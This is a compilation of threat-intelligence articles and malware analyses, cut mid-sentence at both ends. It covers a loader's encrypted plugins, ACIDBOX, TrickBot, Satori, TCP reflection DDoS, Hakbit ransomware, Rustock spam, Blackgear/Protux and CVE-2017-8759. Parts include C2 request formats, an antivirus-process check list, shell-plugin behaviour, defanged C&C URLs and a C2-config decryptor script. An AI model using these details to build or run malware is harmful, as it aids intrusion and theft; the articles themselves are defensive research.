a block like this: ``` [SIZE][KEY][ENCRYPTED_DATA] ``` Then a 404 response is received, but containing interesting data. This data is divided in a first block of digits, terminated with a null byte, and an encrypted block. The block of digits can be easily decoded taking 3-digit groups and converting them to their corresponding bytes (“214”=0xD6). The first resultant byte is the XOR key to be used with the rest. After decoding the response we obtain something like this: ``` Smk0|:|socks_rules=127.0.0.1|:||:|hosts_rules=127.0.0.1 localhost|:||:|plugin_size=60500 ``` Depending on the character located in the 4th position (“0” in this case) the loader will perform a different action, asking for additional binaries to be installed, updating itself, removing itself from the system, etc. The second block received in the 404 response contains some plugins encrypted with the same modified RC4 algorithm. There is a 21-byte header and then another 21-byte header per plugin. The plugin header has the following format: ``` [PLUGIN_SIZE(4)][PLUGIN_TYPE(1)][KEY(16)] ``` Besides being encrypted, the plugins are also compressed with UPX and all of them are exporting the function "Work". These are the plugins that I have seen so far: - **AVInfo.dll:** It is a Delphi plugin which uses the Windows Management Instrumentation (WMI) to obtain the installed Antivirus and Firewall products. If the Antivirus product is not detected that way, it checks the running processes to find Antivirus processes: - avp.exe (Kaspersky) - ccsvchst.exe (Norton) - dwservice.exe (DrWeb) - dwengine.exe (DrWeb) - avgnt.exe (Avira) - avguard.exe (Avira) - malwaredefender.exe (Malware Defender) After gathering this information, it is reported to the control panel using this format: “cmd=avinfo&login=%s&info=%s777%s”. The Antivirus and Firewall product names are separated by “777”. - **FTPGrab.dll:** This module injects code in every process in execution, decoding another plugin called Grabber.dll. This new plugin will hook the functions “send” and “WSASend” to collect users/passwords for the FTP, POP3, SMTP and IMAP protocols. Then it will include this information in the request “cmd=ftpgrab&login=%s&grab=” and adding the following lines: - pop3://%s:%s@%s:%d - ftp://%s:%s@%s:%d - imap://%s:%s@%s:%d - smtp://%s:%s@%s:%d - **shell.dll:** If the server response includes the “shell_rules” parameter, then the command specified is executed and the result is sent to the panel, encoded with Base64. The request used for this will be “cmd=getshell&login=%s&shell=$RESULT&run=ok”. These plugins are stored on disk encrypted with the same modified RC4 algorithm, using the botid as key. Besides these, there is another plugin, called Rootkit.dll, used to hook the functions ZwQuerySystemInformation, ZwQueryDirectoryFile and ZwEnumerateValueKey to try to hide the malware process, files and registry keys. These are some of the samples used to write this blog post: - 4fe5f69ca1ab813e829479004f262ccd - db3745ec149818567de5d2dfc3477d25 - a4b7e8bf966ee5c6e2c731e9047968d4 - e1ee0990ffd0da3df13c1206a6bb9a4b - 86ca12376ab5e27534029d23b2952a28 The C&C URLs related to these binaries are: - hxxp://joppwer.in/ - hxxp://offnamerty.ru/ - hxxp://jtp888888.ru/ Submitted by jesparza on Sun, 2014/10/05 - 22:03
# ACIDBOX Clustering June 26, 2020 Written By J A G-S Update 06.29.2020: As in all things, the wider wisdom of the threat intel community provides greater context. The code overlaps I was pointing to while scarcer were not in fact unique. As @TheEnergyStory points out, it’s Mbed TLS put through Visual Studio. Relevant tweets pictured here: With that nailing the coffin on this false start, I hope folks will have better luck figuring out what to do with this interesting new cluster. As I was looking over this blog, I realized I’d inadvertently settled into a once a month post and hadn’t been planning to post anything for June. However, doing some routine code similarity work, I stumbled upon something I felt like sharing for others to enjoy over the weekend. Last week, Palo Alto Unit42 researchers Dominik Reichel and Esmid Idrizovic revealed their discovery of ACIDBOX (a.k.a. KL: MagicScroll), a new and fascinating activity set reminiscent of Remsec (a.k.a., KL_Project Sauron or SYMC_Strider) and using an exploit technique of our dear Turla (namesake of this blog). Researchers were cautious about affirmatively clustering ACIDBOX to either in lieu of stronger evidence. With the prospect of possibly finding a new Remsec or Turla campaign or more of an unknown threat actor, I was eager to work on rules for this set in the hopes of unearthing more context. A few samples have trickled onto VirusTotal over the past week and based on these I was able to construct a well tested code similarity rule. While I haven’t had a chance to dig deeper into the findings, I wanted to present a curious early finding others may find interesting: ACIDBOX (left) and Turla Nautilus Payload (right) This ACIDBOX DLL (sha256: eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5) shows a good portion of code overlap with a peculiar Turla Nautilus sample reported by NCSC in November 2017. The next stage payload, ‘oxygen.dll’, is built with the same compiler (Microsoft Visual C/C++ 2013) and linker (Microsoft Linker 12.0), and meant to be decrypted in order to inject into a target process via reflective loading. While a portion of that similarity may be accounted for by common statically linked code, a shared crypto implementation merits more attention. ``` eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5: sub_18001A524 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8: sub_18002E694 eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5: sub_1800179AC cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8: sub_1800275CC eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5: sub_180017664 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8: sub_180024D70 ``` Enjoy your weekend and Happy Hunting. J A G-S
# TrickBot Gang Shuts Down Botnet After Months of Inactivity February 24, 2022 The operators of the TrickBot malware botnet have shut down their server infrastructure today after months of inactivity, bringing to an end one of the most dangerous and persistent malware operations seen in recent years. Prior to today’s voluntary shutdown, the TrickBot gang hadn’t set up new servers or tried to carry out email spam campaigns since mid-December 2021. But today’s shutdown comes as no surprise, Vitali Kremez, CEO of security firm AdvIntel, told The Record in a phone call earlier today. It comes after the group’s malware has become “highly detectable” by security products, which appears to have damaged the group’s ability to infect and then sell access to Windows systems to its criminal clientele, security firms AdvIntel and Intel471 wrote in separate reports analyzing the malware’s recent slump. “Trickbot, after all, is relatively old malware that hasn’t been updated in a major way. Detection rates are high, and the network traffic from bot communication is easily recognized,” Intel471 said earlier today before Kremez confirmed that TrickBot had decided to call it quits. Kremez also cited recent recruitment from the Conti ransomware gang as a primary factor in TrickBot’s recent demise. After resurrecting and integrating the Emotet botnet into its “cybercrime cartel” towards the end of 2021, Kremez said that the Conti gang has now also recruited several top members of the TrickBot gang as well. Under its new leadership, the old TrickBot malware codebase and infrastructure appears to have been abandoned, and Kremez said that the Conti gang is working with the former TrickBot devs to further develop and deploy BazaarBackdoor, one of TrickBot’s former modules, as a replacement for TrickBot itself. ## TrickBot Goes Out on Its Own Terms The TrickBot gang fading its old malware and morphing into a new operation comes after both US authorities and security firms have tried to forcibly take down its command and control server infrastructure in October 2020. Despite losing roughly 94% of its servers, the botnet survived and returned with new servers days later and with new attacks after a few weeks. But the failed takedown attempt didn’t dissuade US authorities, and they responded in 2021 by charging and detaining two of TrickBot’s programmers, Alla Witte and Vladimir Dunaev. However, the arrests didn’t touch the group’s leadership, which remained intact, and continued to operate the botnet throughout 2021 before entering their recent Conti collaboration and moving on to a new malware codebase. In December 2021, just days before TrickBot ceased operations, Check Point reported seeing the malware on more than 140,000 systems throughout the year (2021). In a Wired feature on TrickBot, security firm Hold Security said it saw the TrickBot gang invest more than $20 million in its infrastructure last year, which shows the scale of its operation, which dwarfs many legitimate software firms today. **Tags**: AdvIntel, BazaarBackdoor, botnet, Conti, cybercrime, Intel471, malware, Trickbot Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# The ARC of Satori by ASERT Team on January 18th, 2018 Authors: Pete Arzamendi, Matt Bing, and Kirk Soluk. Satori, the heir-apparent to the infamous IoT malware Mirai, was discovered by researchers in December 2017. The word "satori" means "enlightenment" or "understanding" in Japanese, but the evolution of the Satori malware has brought anything but clarity. Each new version offers a fresh combination of targeted platforms, propagation techniques, and attack types. Contrasted with traditional software, in which features are added incrementally, Satori seems to go both forward and backward. Digging into the history will provide insight into this continually evolving threat. ## A Short History of IoT Malware Headlines about massive DDoS attacks first captured the public's attention on IoT security in late 2016. The malware responsible, Mirai, didn't target Windows machines like most threats – it targeted weaknesses in IoT devices and other embedded systems. These devices make great DDoS zombies, since often they run a stripped-down version of Linux, are directly connected to the Internet, and have limited security features. Mirai, and its many copycats, operate with similar principles: - **Propagation** – Infected devices will attempt to infect other, randomly chosen, devices. Mirai started by using common username/password pairs via the antiquated telnet protocol. Later versions would use platform-specific vulnerabilities, like command-injection bugs in the web interface of home routers, to spread. - **Command-and-control** – Once infected, the bot – in addition to propagating – would periodically check-in to a command-and-control site for updates and attack commands. - **Attack** – Once instructed by the command-and-control, bots would launch a coordinated flood of attack traffic directed at the victim. This can be a flood of TCP packets with specific flags set, UDP packets, HTTP requests, or other more complicated attacks. The authors of Mirai eventually published the source code to the malware. With it, anyone who knows how to use a compiler could set up their own command-and-control site and quickly build their own Mirai botnet. Those with more technical know-how could add features like new propagation methods, command-and-control protocols, and new attack types. ## Satori Researchers first discovered Satori in December 2017 and other versions of it have been identified since. The initially discovered version of Satori distinguished itself from Mirai in that its propagation method targeted two vulnerabilities in IoT devices – a "zero-day" in Huawei's home gateway and a previously-known command execution vulnerability in Realtek's UPNP SOAP interface. Both were clearly intended to target two very specific types of devices, unlike the more agnostic Mirai, which would infect any device with a default or easily guessable telnet username and password. Although there is evidence Satori re-used at least some of the public Mirai code, its precise targeting was what caught the eye of researchers. To perhaps further muddy the waters, other versions of Satori do indeed use telnet to propagate, but with a more sophisticated list of usernames and passwords. Every IoT malware including Satori is delivered to a victim in a compiled, ready-to-run format. That means a Linux executable compiled specifically for the architecture of the victim. For instance – an ARM device cannot run an executable compiled for x86 processors. Before delivering its payload, both Mirai and Satori poke and prod the victim to determine which pre-compiled version of the Mirai binary to download and execute. Satori raised the bar by introducing new architectures – superh and ARC. It's unclear whether the actors behind Satori did this because they knew a vulnerable population existed, or only hoped that it did. We distinguish the fourth variant of Satori, in part, because it appears to be the first known ARC malware. Adding the capability to run on the ARC chip set greatly expands the potential botnet population. According to an article that was written in 2014, "ARC processor IP cores have been licensed by more than 190 companies and are used in more than 1.5 billion products a year." Furthermore, now that this new ground has been broken, it paves the way for other malware authors to target that architecture. ## DDoS Mitigation Since the variants of Satori all leverage different subsets of the Mirai DDoS attack codebase, longstanding Mirai-based DDoS mitigation advice still applies. Arbor customers can also obtain detailed Arbor product-specific mitigation advice by requesting the latest ASERT Mirai threat advisory from their account team or Arbor ATAC. Additionally, the continued expansion of DDoS-capable malware to different processor architectures further emphasizes the need for network operators to adopt network BCPs. While Mirai showed an affinity for IPTV cameras and DVRs with weak passwords, threat actors are rewarded for targeting devices others have not. As malware authors expand to ARC and other embedded processors, DDoS-capable malware can subvert a wider range of Internet-connected devices such as phones, gaming consoles, etc. Network operators must re-think their defensive strategies to also protect against compromised internal devices including those which can't be tracked down by following a cable. The collateral damage due to scanning and outbound DDoS attacks alone can be crippling if network architectural and operational best current practices (BCPs) are not proactively implemented. ## Conclusion While the impact of IoT malware is self-evident, the threat landscape is constantly evolving. The weakest-of-the-weak, default usernames and passwords, have already been abused and attackers move on to more bountiful fruit – exploitable vulnerabilities in devices themselves. This reflects the harbinger that Mirai brought the world in 2016 – IoT devices are insecure and will be abused. We expect the three principles of IoT malware – propagation, command-and-control, and attacks – to remain the same, but become more sophisticated and evolved over time.
# Hackers Begin Weaponizing TCP Middlebox Reflection for Amplified DDoS Attacks March 2, 2022 Distributed denial-of-service (DDoS) attacks leveraging a new amplification technique called TCP Middlebox Reflection have been detected for the first time in the wild, six months after the novel attack mechanism was presented in theory. "The attack […] abuses vulnerable firewalls and content filtering systems to reflect and amplify TCP traffic to a victim machine, creating a powerful DDoS attack," Akamai researchers said in a report published Tuesday. "This type of attack dangerously lowers the bar for DDoS attacks, as the attacker needs as little as 1/75th (in some cases) the amount of bandwidth from a volumetric standpoint," the researchers added. A distributed reflective denial-of-service (DRDoS) is a form of distributed denial-of-service (DDoS) attack that relies on publicly accessible UDP servers and bandwidth amplification factors (BAFs) to overwhelm a victim's system with a high volume of UDP responses. In these attacks, the adversary sends a flood of DNS or NTP requests containing a forged source IP address to the targeted asset, causing the destination server to deliver the responses back to the host residing at the spoofed address in an amplified manner that exhausts the bandwidth issued to the target. The development comes following an academic study published in August 2021 about a new attack vector that exploits weaknesses in the implementation of TCP protocol in middleboxes and censorship infrastructure to carry out reflected denial of service (DoS) amplification attacks against targets. While DoS amplification attacks have traditionally abused UDP reflection vectors – owing to the connectionless nature of the protocol – the unconventional attack approach takes advantage of TCP non-compliance in middleboxes such as deep packet inspection (DPI) tools to stage TCP-based reflective amplification attacks. The first wave of "noticeable" attack campaigns taking advantage of the method is said to have occurred around February 17, striking Akamai customers across banking, travel, gaming, media, and web hosting industries with high amounts of traffic that peaked at 11 Gbps at 1.5 million packets per second (Mpps). "The vector has been seen used alone and as part of multi-vector campaigns, with the sizes of the attacks slowly climbing," Chad Seaman, lead of the security intelligence research team (SIRT) at Akamai, told The Hacker News. The core idea with TCP-based reflection is to leverage the middleboxes that are used to enforce censorship laws and enterprise content filtering policies by sending specially crafted TCP packets to trigger a volumetric response. Indeed, in one of the attacks observed by the cloud security company, a single SYN packet with a 33-byte payload triggered a 2,156-byte response, effectively achieving an amplification factor of 65x (6,533%). "The main takeaway is that the new vector is starting to see real world abuse in the wild," Seaman said. "Typically, this is a signal that more widespread abuse of a particular vector is likely to follow as knowledge and popularity grows across the DDoS landscape and more attackers begin to create tooling to leverage the new vector." "Defenders need to be aware that we've moved from theory to practice, and they should review their defensive strategies in accordance with this new vector, which they may be seeing in the real world soon," Seaman added.
# Hakbit Ransomware Campaign Against Germany, Austria, Switzerland Proofpoint researchers have been tracking a low-volume, email-based ransomware campaign targeting organizations in Austria, Switzerland, and Germany. The campaign leverages Hakbit, a variant of Thanos ransomware as a service (RaaS). The attack employs malicious Microsoft Excel attachments delivered from a free email provider (GMX) that primarily serves a European client base. The attachments contain false billing and tax repayment subjects to entice users to enable macros that execute GuLoader, which downloads the ransomware to encrypt files and lock the system. To help ensure success because Microsoft Office VBA macros do not execute on mobile devices, these emails direct recipients to open attachments on their computer and not their mobile device. Users targeted were employed in mid-level positions across the pharmaceutical, legal, financial, business service, retail, and healthcare sectors. The largest volume of messages we observed were sent to the information technology, manufacturing, insurance, and technology verticals. Proofpoint researchers have observed that the majority of roles targeted in the Hakbit campaigns are customer-facing with individuals’ business contact information revealed publicly on company websites and/or advertisements. These roles include attorneys, client advisors, directors, insurance advisors, managing directors, and project managers. Below is an example of the lure; many messages arrived with subject lines such as “Fwd: Steuerrückzahlung” (Translated: Tax Repayment) and “Ihre Rechnung” (Translated: Your Bill). This lure is in German and abuses the logo and branding of 1&1, a German telecommunications company. According to Google Translate, the body of the message states: > Today you will receive your invoice dated 12.05.2020. You will find it in the attachment to this e-mail as an Excel file. We will debit the amount of EUR 480.19 from your account on May 17th, 2020. > Please note that due to technical reasons the Excel document is not displayed correctly on mobile devices. We ask you to download the invoice on your computer and open it. > Best regards, The message contains a Microsoft Excel attachment named 379710.xlsm which leverages malicious macros. Because the macros and malware won’t work on a mobile device, the message instructs the recipient to use a computer to read the attachment. Once opened, the spreadsheet directs the recipient in German and English to enable macros. Once macros are enabled in the spreadsheet, it downloads and executes GuLoader, a relatively new downloader written in VB 6.0 that we wrote about in March 2020. When GuLoader runs, it downloads and executes Hakbit, a ransomware that encrypts files using AES-256 encryption. The note demands a payment of 250 Euros in bitcoin to unlock the encrypted files and provides instructions on how to pay the ransom. As of June 16, 2020, our researchers have found no transactions showing payment of the ransom to the bitcoin wallet in the examples here. ## Conclusion Proofpoint researchers have observed consistent low-volume and often boutique ransomware campaigns since January 2020. Proofpoint researchers recently identified a shift in the threat landscape with a large-scale Avaddon ransomware campaign consistent with recent open source vendor reporting. Hakbit exemplifies a people-centric ransomware campaign tailored to a specific audience, role, organization, and in the user’s native language. ## Indicators of Compromise (IOCs) **Hakbit SHA256**: 34b93f1989b272866f023c34a2243978565fcfd23869cacc58ce592c1c545d8e
# Not all "Internet Connections" are Equal People commonly think that any “Internet Connection” is exactly the same, or they may be vaguely aware that some connections are faster than others. However, there are significant differences between the connections. While these differences may not matter to someone who just wants to browse websites and read email, they can be significant or even showstoppers for more advanced users. This is especially true for anyone looking to do security testing or vulnerability scanning. Security testers are advanced niche users, and many ISPs simply don’t cater to their needs. So, before you get started on a system evaluation, make certain the network being used can properly support your efforts, or else the results obtained will not be optimal or simply inaccurate. Imagine you are a security tester, using a laptop in the green zone, and the client whom you’re trying to test has a server located in the yellow zone. Your connection goes through one or more routers and through an ISP before it reaches the public Internet, and then your client also has its own ISP. The red zone represents “someone else,” that is a malicious attacker who could be anywhere on the Internet and who probably uses a different ISP than you. In order to do thorough scans, you need to ensure that any traffic you send leaves the green zone – i.e., your network and your ISP’s network, without being interfered with in any way. If your ISP interferes with the traffic, then it may not reach the target, thus preventing you from properly testing the system. An attacker (in the red zone) won’t be subject to any restrictions imposed by your ISP and may be able to exploit vulnerabilities that are hidden by your ISP. Conversely, if any traffic interference takes place within the client’s ISP – that is the yellow zone, that will affect any attacker equally. ### Why would an ISP do this? ISPs implement various forms of traffic management on their network for many different reasons. Typical light users who are only web browsing are unlikely to be affected by such measures, but vulnerability scans generate a large volume of highly varied traffic as they try to target many different ports and protocols. #### Common restrictions Some common restrictions and examples implemented by ISPs include: - **Port filtering**: Some common ports are widely abused by threat actors, and consequently, some ISPs – especially those supplying end users – will proactively filter these ports. If a port is blocked by your ISP, your attempt to connect to or scan that port will not leave the yellow zone in the diagram above, yet if your client has the port open, an attacker using a different ISP will be able to connect to it. Commonly filtered ports might include: - **445**: The default Windows SMB port. This port is often filtered by ISPs as Microsoft does not recommend this service be used over the public Internet, and many instances of malware have targeted this port. - **25**: The default SMTP port. Email servers use this port to transmit email from one server to another, but these days it is rarely used by end-users. Many consumer ISPs and hosting providers will filter this port by default to prevent sending spam. - **Transparent proxying**: Some ISPs implement transparent proxying or redirection of unencrypted protocols such as HTTP or DNS. As such traffic is unencrypted, the ISP can see its contents. This can lead to several efficiency measures that can be used to improve perceived performance for end users, as well as other measures beneficial to the ISP: - **Caching**: If you request static content over an unencrypted protocol like HTTP, the ISP may cache it locally. - **Redirection**: The ISP may transparently redirect you to a local mirror site for large file downloads. - **Advertising**: ISPs could insert advertising as a way to generate additional revenue. - **State tracking**: Some devices perform state tracking, maintaining a database of active traffic flows so that follow-up packets can be attributed to a previously opened connection. This is typically used by firewalls and is generally advertised as “stateful inspection.” - **NAT**: IPv4 Internet connections are often behind NAT simply because IPv4 was never designed for a global network and doesn’t have enough addresses. NAT allows for multiple systems to share a single address. However, NAT can cause problems, especially for protocols that embed the IP address within the higher-level protocol. - **Inbound Connections**: There are many instances when it's desirable to be able to receive inbound connections. For example, the recent Log4J vulnerability known as Log4Shell works by triggering a vulnerable server to make a connect back to an attacker's host. If the scanning system is behind NAT or has a firewall blocking inbound connections, it may result in false negatives. - **Application-Level Gateways (ALGs)**: Some common protocols such as SIP and FTP are inherently incompatible with NAT because they do not operate in a traditional client-server model. The NAT gateway must have application-specific code to handle the higher-level protocols. - **Partial Connectivity**: Some ISPs only provide partial Internet connectivity for various reasons, such as not providing IPv6 or limited IPv4 connections. - **Traffic shaping / throttling**: Some ISPs implement traffic shaping measures designed to prevent heavy users from hogging all the available bandwidth. - **VPNs / Tunnels**: VPNs or tunnels may impose additional restrictions on traffic, such as limiting the maximum packet size (MTU). - **Egress filtering / Anti-Spoofing**: Many ISPs will not allow you to generate traffic with a source address that is not your own IP. ### What to do? If you want to perform pentests or vulnerability scans, ensure you are using an ISP that gives you a totally unfiltered connection. Many ISPs, especially the smaller, more technically minded ones, are aware of the need for security testing and are willing to provide such connections on request. It is also strongly recommended to speak to prospective ISPs first and draw up a contract detailing exactly what you’re going to use the connection for. The ISP should guarantee that they will not implement any detrimental measures on your connection in the future and should also have an agreed-upon process in place to deal with any complaints they might receive. If such an ISP is not available locally, find one that will host a server for you from which you can perform all your scans and testing.
# A Rustock-ing Stuffer Joe Stewart Recently I took a look at the Rustock trojan in order to see what the financial motive behind it was. No surprise, as it turns out the motive is spam. Using a sandnet, I injected myself into the botnet, able to capture (and blackhole) a small portion of the spam being sent through the system. And, as with a lot of spam these days, it's the pump-and-dump kind of spam touting penny stocks to would-be investors. As you can see in the stock chart below, the stock was trading at $0.0008 a share when several relatively small transactions were made. In total 11,532,726 shares changed hands. Now, it's not possible to tell if these were shares bought or sold, but let's assume that these were all sold to our spammer. We can make this assumption because this stock has very little volume traded normally; sometimes no shares change hands in a day's time at all. So suddenly 11,532,726 shares change hands in multiple transactions in a single day, driving the price of the stock from $0.0008 to $0.0011. I'm no stock expert, but that sounds like a buy. At that price, that many shares would cost around $9,000 or so. So, at close on Friday, December 15, the stock is at $0.0011. Suddenly, the Rustock botnet begins spewing out the spam shown above. All weekend it churns away, sending millions of emails. Monday morning, December 18, sees the stock immediately rise to $0.0019 a share, then all the way to $0.0025 a share, as some recipients of the spam begin to purchase the stock. A far cry from the spammer's target of $0.02 a share, but let's see how much that adds up to. If the spammer sells his shares early on Monday, when the stock has peaked, those 11,532,726 shares could be worth nearly $29,000, leaving the spammer with a cool $20K profit for one weekend. I wonder if the spams touting Viagra and Rolexes have ever made that much profit so quickly for the spammers with so little effort and almost zero overhead. It's little wonder why stock spam is taking over. I also have to wonder, are all these subsequent purchasers of the stock really unaware that this is a scam? Or are they simply greedy, hoping to cash in on the movement of the stock if they're quick enough? If you look at these stocks over time, you do see that the spamvertised stock price indeed does go up, just as the spammer predicted. If there are such day-traders who watch their email inbox eagerly for such spam, they are the engine that drives the scheme, and they are ultimately to blame for the stock spam the rest of us have to deal with.
# Blackgear Cyberespionage Campaign Resurfaces Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators. It targets organizations in Japan, South Korea, and Taiwan, leveling its attacks on public sector agencies and telecommunications and other high-technology industries. In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor. Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks. A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration. Compared to when C&C information is embedded within the malware, where it’s preset and can thus be easily blocked, this tactic lets Blackgear’s operators quickly change C&C servers as needed. It can, in turn, prolong the campaign’s foothold in the system and enable attackers to carry out further lateral movement. Analyzing the Marade downloader (detected by Trend Micro as TSPY_MARADE.ZTBC) and the version of Protux (BKDR_PROTUX.ZTBC) employed by Blackgear’s latest campaigns, we found their encrypted configurations on blog and social media posts. This can be an indication that these malware tools were developed by the same group. ## Attack Chain To paint a bigger picture of Blackgear’s attacks, we correlated the tools and tactics they used against their targets. Here’s a summary of Blackgear’s latest campaign: 1. Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it. 2. The decoy document will extract the Marade downloader. It drops itself in the machine’s Temp folder and increases its file size to over 50MB in order to bypass traditional sandbox solutions. 3. Marade will check if the infected host can connect to the internet and if it is installed with anti-virus (AV) software. 4. If the affected system can connect online and doesn’t have AV software, Marade will connect to a Blackgear-controlled public blog or social media post to retrieve an encrypted C&C configuration. Otherwise, Marade will use the C&C information embedded in its code. 5. The encrypted strings will pose as a magnet link to keep its malicious traffic from being detected by AV software. Marade will then decrypt the encrypted strings and retrieve the C&C server information. 6. The C&C server will send Protux to the victim’s host and execute it. Protux, a known backdoor, is executed by abusing the rundll32 dynamic-link library (DLL). It tests the host’s network, retrieves the C&C server from another blog, and uses the RSA algorithm to generate the session key and send information to the C&C server. Blackgear’s malware tools are delivered to targets using RAR self-extracting executable (SFX) files or office Visual Basic Script (VBScript) to create a decoy document. ## Correlating Marade and Protux The encrypted configurations of Marade and Protux can both be found on a single blog post. The strings highlighted in red function as a search tag to identify the location of the configuration information; those highlighted in orange pertain to the encrypted configuration that Protux will retrieve. In Blackgear’s previous campaigns, Protux’s configuration format had to be changed to another version. For instance, Protux’s older iteration will look for the “++a++” tag. The format used by Protux’s latest version is now similar to Marade’s. Reverse analysis of Protux’s latest version also allowed us to determine how to decrypt the C&C information, which is done in the Python code shown below. This can also be used by researchers, system administrators, and information security professionals when decrypting Protux’s latest version. ```python #!/usr/bin/env python2 #-*-coding:utf-8 -*- import os, sys, datetime, operator, base64 def decrypt(): if len(sys.argv) != 2: print "Usage : ./decrypt_protux_magnet.py <Full magnet strings>" sys.exit(0) str = sys.argv[1] head = str.find("magnet:?xt=urn:bhih:") tail = str.find("&xl=") if -1 == tail: tail = str.find("&amp;xl=") if -1 == head or -1 == tail: print("can't find delimiter") sys.exit() b64_data = str[len("magnet:?xt=urn:bhih:"): tail] b64_decode = base64.b64decode(b64_data) key = ord(b64_decode[2]) data = b64_decode[4:] output_file = open("C2_info", "wb") for single_byte in data: output_file.write(chr(ord(single_byte) ^ key)) output_file.close() if __name__ == '__main__': decrypt() ``` ## A New Remote Controller Tool We were also able to source a sample of Protux’s remote controller tool. This provides a user interface (UI) that allows attackers to send instructions to and monitor any compromised endpoint host. This tool can also remotely control Marade in the affected system. Based on the controller’s behavior, we can posit that both Marade and Protux were authored by the same threat actors. Each serves a specific role once in the system. Marade acts as the first stage of attack, sending the compromised system’s information to the C&C server and then awaiting commands from the controller. This allows threat actors to monitor and check whether the affected system is of interest to them. If so, the attack moves to the second stage by deploying Protux. The tool can also control the communication between the backdoor and attacker in real time. The following is a list of Protux’s notable components and their functions: - **FileManage** - Lists all of the system’s drives and folders. - **ProcManage** - Lists all of the processes, modules, threads, and ports in the compromised host. - **ServiceManage** - Lists all of the services in the compromised host. - **RegManage** - Lists all of the registries in the compromised host. - **ScreenManage** - Takes a screenshot. - **ShellManage** - Creates a shell. ## Protux: An Old Dog Learning New Tricks Protux is an old backdoor, with its first version developed in 2005. It uses DLL injection to execute its routines. Based on this behavior, we can map out a pattern, from the downloader to the decoy documents used. The trigger format is: `%system32/rundll32.exe <PROTUX file name> <export name>`. We saw two notable changes throughout Protux’s history: its export name and how it functions: | Export Name | Year | How C&C Information is Retrieved | |-------------|--------------|----------------------------------| | TStartUp | 2005 – 2012 | Directly connect to the C&C server and use DNS server to retrieve the C&C IP address. | | CRestart | 2009 – 2014 | Use web DNS query to retrieve the C&C IP address, e.g., ip138[.]com. | | CReset | 2013 – 2018 | Find the encrypted configuration through keywords on blog services. | Our research into and correlation of Protux led us to several samples that have version numbers embedded in them. The highlighted portions show the backdoor’s version number and timestamp with the “with encrypt” strings. We also found that these versions encrypt the communication to its C&C servers. Protux’s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm. ## Building a Proactive Incident Response Strategy Blackgear has been targeting various industries since its emergence a decade ago. Its apparent staying power stems from the furtive ways with which its attacks can evade traditional security solutions. For instance, Blackgear employs two stages of infection for each of its attacks. The potential victim may not be able to notice the intrusions as the first stage involves only profiling and reconnaissance. And once infection with a backdoor occurs, typical red flags may not be raised as it abuses microblogging and social media services to retrieve information needed for C&C communication. Indeed, Blackgear’s attacks exemplify the need for organizations to develop and implement security strategies that can proactively respond to threats. A robust threat hunting strategy, for instance, helps validate indicators of attack to ascertain if the intrusions, threats, or suspicious system activities are one-off attacks or part of a larger campaign. This further visibility equips organizations with actionable threat intelligence, context, and insights that can be used to delve deeper into an attack — which security gaps are exploited, if the attack has multiple payloads, or if the malware has already spread within the network. Organizations can also consider managed detection and response, which provides in-depth threat analysis and correlation — from networks to servers and endpoints — to obtain a complete picture of and further understand a targeted attack. Managed detection and response also helps make better sense of system- and network-level activities that an organization may not have the time or resources to do. A list of indicators of compromise (IoCs) related to Blackgear is in this appendix. ## Trend Micro Solutions The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats delivered by Blackgear even without any engine or pattern update. Blackgear’s campaigns also use email as an entry point, which is why it’s important to secure the email gateway. The Trend Micro™ Hosted Email Security no-maintenance cloud solution delivers continuously updated protection to stop spam, malware, spear phishing, and advanced targeted attacks before they reach the network. The Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security solutions prevent malware from ever reaching end users. At the endpoint level, the Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of attacks.
# FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands. FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance. ## Vulnerability Used to Target Russian Speakers The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5). FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicate that related activity, though potentially for a different client, might have occurred as early as July 2017. ## CVE-2017-8759 WSDL Parser Code Injection A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method. The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in the following figures. When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining 